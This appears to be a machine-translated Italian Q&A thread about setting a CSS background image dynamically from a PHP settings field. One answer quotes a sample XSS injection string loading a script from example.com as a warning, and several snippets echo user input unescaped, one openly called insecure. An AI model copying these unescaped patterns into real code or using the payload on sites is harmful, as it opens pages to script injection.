Come avere un'immagine dinamica come sfondo CSS?

Ho un div logo che voglio usare la mia immagine del logo come sfondo per, come ad esempio:Come avere un'immagine dinamica come sfondo CSS?

.logo { 
    background: #FFF url(images/logo.jpg); 
}

Tuttavia, su una pagina delle impostazioni nel mio script, mi piacerebbe avere un campo di input di testo per specificare quale sia l'URL dell'immagine per l'immagine di sfondo.

Come è possibile impostare l'immagine di sfondo per questo div come l'URL dell'immagine in ingresso, senza dover fare:

<div><img src="/images/logo.jpg" /></div>

(Lo script è scritto in PHP)

fonte

2012-07-03 JROB

Dev'essere persistente? Può essere fatto con javascript/jquery o deve essere fatto con php? – chrisgooley

Preferirei non usare javascript – JROB

Questo è molto semplice. Tutto quello che devi fare è né mettere questo nel <head>:

<style type="text/css"> 
.logo { 
background: #FFF url(<?php echo $variable_holding_img_url; ?>); 
} 
</style>

o si può semplicemente utilizzare la linea style attributo e definire la proprietà background-image CSS come le altre risposte hanno suggerito:

<div style="background-image: url(<?php echo $varable_holding_img_url; ?>);"> 
</div>

Ora, vorrete assicurarvi che prima di consentire che venga inviato che lo non contenga HTML o altro, solo caratteri URL validi. E si dovrebbe anche sfuggire così qualcuno non può entrare in questo all'ingresso URL:

"> <script src="http://example.com/xss-attack.js"></script> <!--

e Jack la pagina.

Immagino che tu stia inserendo questo URL di immagine in un database, quindi ricorda sempre cosa è successo ai record della scuola Bobby Tables (sfuggi all'immissione).

fonte

2012-07-03 03:41:04 Nathan

Ma non è meglio usare i file CSS per la cache e la velocità del sito? Ho pensato che gli stili in linea fossero cattivi. –

@JordanCarter Sì, i file CSS sono i migliori per il caching e la velocità del sito. Ma probabilmente non vorrai davvero questa parte in cache, dato che l'URL di sfondo è una variabile e quindi può/cambierà. In questo caso, ritengo che gli stili incorporati vadano bene, a condizione che l'intero foglio di stile non sia incorporato nella pagina web. – Nathan

Penso che si può impostare lo sfondo immagine in modo dinamico usando javascript come dato here.

Se si preferisce non utilizzare javascript, perché non si può utilizzare l'attributo inline style.
ex

<div style="background-image: url(xyz)"></div>

fonte

2012-07-03 03:02:26

vi sia bisogno per generare il css da uno script PHP (un po 'avanzato), o utilizzare gli stili inline per fare il trucco. Es:

<div style="background-image: <?php echo $_POST['whateverjpg']; ?>" > 
//blah 
</div>

Questo è incredibilmente insicura, ma la risposta più concisa posso dare ..

fonte

2012-07-03 03:06:25

Com'è "incredibilmente insicuro"? Mi stavo solo chiedendo ... iniezione – Nathan

PHP. Basta sfuggire ai tuoi dati. –

Oh, sì ... chiunque non sfugga ai propri dati immessi dall'utente (e gli input del database, che è molto probabilmente quello in cui verrà archiviato l'URL di questa immagine) dovrebbero educarsi su [Bobby Tables] (http://bobby-tables.com/). – Nathan

<input type="text" class="inputContent" /> 
<script type="text/javascript"> 
    var inputC = $('input.inputContent').val(); 
    $('body').css('background', 'url(' + inputC + ')'); 
</script>

Questo è del tutto js e jQuery, perché io non lo so PHP, ma è una soluzione!

fonte

2012-07-03 03:39:19 Chad

Come avere un'immagine dinamica come sfondo CSS?

risposta

Problemi correlati